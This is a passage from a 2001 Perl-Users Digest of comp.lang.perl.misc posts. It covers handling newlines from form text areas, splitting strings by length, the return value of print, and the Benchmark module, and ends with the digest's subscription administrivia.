> Everytime a carrige return is present another line is created in the file.
> I tried to replace all \n  by subsituting \n with <p> using a regular expression
> $data{thestory}=~s/\n/<P>/g;
> This dosent seem to make the text into one line,
> for example like this:
>
> First sentence.
> Second sentence.
>
> yields
>
> First sentence<p>
> Second sentence<p>
>
> instead of    First sentence<p>Second sentence<p>
>
> Can anybody help me?

Is the script running on Windows, or Unix, or Mac? I think Windows uses "\r\n" for
the end-of-line, so you'd have to replace \r\n with <P>. I think Mac uses "\r", and
Unix uses "\n".

Young



------------------------------

Date: 22 Apr 2001 12:39:27 -0500
From: logan@cs.utexas.edu (Logan Shaw)
Subject: Re: removing the \n from the data obtained from a text area in a form
Message-Id: <9bv50f$786$1@charity.cs.utexas.edu>

In article <insmov-ya02408000R2204011246090001@news.tiac.net>,
Richard Antreasian <richard> wrote:
>I want to store a text area from a form in a flat file as a single line.
>Everytime a carrige return is present another line is created in the file.
>I tried to replace all \n  by subsituting \n with <p> using a regular expression
>$data{thestory}=~s/\n/<P>/g;
>This dosent seem to make the text into one line,

You could escape all non-word characters like this:

	$foo =~ s/(\W)/sprintf("\\x%02x", ord $1)/eg;

Then, you can bring them back by doing either this:

	$foo =~ s/\\x(..)/chr(hex($1))/eg;

or this:

	$foo = eval "\"$foo\"";

There's probably a faster way to do it, but this way is pretty simple.

  - Logan
-- 
my  your   his  her   our   their   _its_
I'm you're he's she's we're they're _it's_


------------------------------

Date: 22 Apr 2001 04:29:41 GMT
From: Jack Applin <neutron@jackbert.fc.hp.com>
Subject: Re: split after a number of charachters?
Message-Id: <9btmnl$867$1@fcnews.fc.hp.com>

kb <m9652@abc.se> wrote:
> how can i use the split function to split after a number of characters?

> lets say i have the string: "0123456789"
> i dont have any good separators within the string but i would like to
> split it after lets say 8 characters

> $string = "0123456789";
> ($part1, $part2) = split(split after 8 characters, $string);

($part1, $part2) = $string =~ /.{1,8}/gs;	# /s for newlines

-- 
Jack Applin
neutron@fc.hp.com


------------------------------

Date: 22 Apr 2001 06:32:26 -0700
From: merlyn@stonehenge.com (Randal L. Schwartz)
Subject: Re: Things I'm just not getting in Perl
Message-Id: <m1zod9ys9h.fsf@halfdome.holdit.com>

>>>>> "Damian" == Damian Conway <damian@cs.monash.edu.au> writes:

Damian> Anno's simply pointing out that, although perlfunc states that C<print>
Damian> returns a true value, it doesn't guarantee what that true value is.
Damian> Jarkko would be within his rights to change it in 5.8.0 to return the
Damian> string C<"this will teach Conway not to dispense ironic advice on c.l.p.m">.

Or even the wonderful string "0 but true", which would really mess
up those who wish to treat it as a number.

Damian> The point is: Anno's C<!print> operator would continue to work in that
Damian> situation.

Yes.  Even for "0 but true".

-- 
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!


------------------------------

Date: Sun, 22 Apr 2001 14:47:27 +0100
From: "Andy" <andrew.fase@btinternet.com>
Subject: Re: Which is faster/better?
Message-Id: <9bunjt$hoo$1@neptunium.btinternet.com>

From my understanding of the benchmark module you can benchmark the entire
program if you wish not just one line of code....or each subroutine

the idea is that you can write several subroutines that all do the same
thing...then you can see how long it takes each one to do it (running each
about 50000 times to get an average)

From this you can see which one method is faster, therefore being more
efficent....

As to being better...well thats an abiguious statement ...and impossible to
answer, one technique may be faster and one more readable....it all depends
on your criteria...and what preference criteria are given over
others....which might be completly different for each perl programmer

an example is a bubble sort vs a quick sort algorithm.. one is best with a
small list of values to sort but rubbish with as big one (buble sort) and
the other is rubbish with a small list of values to sort (as it takes  so
long to initalise) and supurb with a huge list.....

no one algorithm is always best!

andy


"xris" <xris@dont.send.spam> wrote in message
news:xris-F4384D.02351822042001@news.evergo.net...
> In article <Xns908B9A349FCmememeyeahme@206.165.3.70>,
>  me@nospam.com (Me) wrote:
>
> > So in those 6 years, did you ever hear of the Benchmark module?
>
> sorry, been too busy actually getting paid to write working code.  oh,
> and working on my MA in anthropology (ok, so that was just this year).
> You think it would REALLY do any good, though?  to benchmark ONE
> statement?
>
> Besides, if you had read my entire post, you would have seen that I'm
> not just looking for which is FASTER, I want to know which is better,
> more efficient, works with larger pieces of data, etc.  The perl book
> clearly says that join() is faster, but I was wondering if it was
> *always* faster.
>
> -xris
>




------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 741
**************************************


home help back first fref pref prev next nref lref last post